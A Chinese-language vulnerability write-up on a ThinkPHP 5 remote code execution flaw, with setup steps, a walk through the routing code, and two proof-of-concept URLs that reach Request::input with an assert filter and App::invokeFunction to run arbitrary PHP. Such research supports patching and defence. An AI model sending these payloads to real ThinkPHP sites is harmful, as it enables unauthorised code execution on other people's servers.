thinkphp5 RCE分析及复现

前言

tp5最近爆了个rce,最先看到是在斗鱼src公众号上发的分析文章,这么大的洞,到了第二天那些什么安全网站连个预警都没有,估计tp5的站都被撸穿了。

搭建tp5环境

这是漏洞的修复https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815.

  1. https://github.com/top-think/think clone下来
  2. 再cd think文件夹 ,clone https://github.com/top-think/framework,文件夹名字改为thinkphp
  3. 再进入thinkphp ,代码回滚到修洞修复之前

分析

可以看到,修复之中是对路由加了一层正则匹配过滤。我们直接定位到有漏洞的代码。

App.php

以反斜杠\开始时直接将作为其类名。

再跟进parseModuleAndClass。

App.php

controller调用了parseModuleAndClass,再跟进controller

module.php

回到实例化控制器。

熟悉tp的人都知道,tp的路由信息还可以同过$_GET's'来传递控制路由。

POC

我看斗鱼src公众号里文章里是利用了Request类的input方法。

直接跟进input函数,函数本体是没有问题的,发现调用了一个过滤函数,再跟进。

很明显知道最后调用的call_user_func来达到任意代码执行的效果。

poc如下:

http://127.0.0.1/public/index.php?s=index/\think\Request/input&data=phpinfo()&filter=assert

再给一个:

index.php?s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=var_dump&vars[1][]=111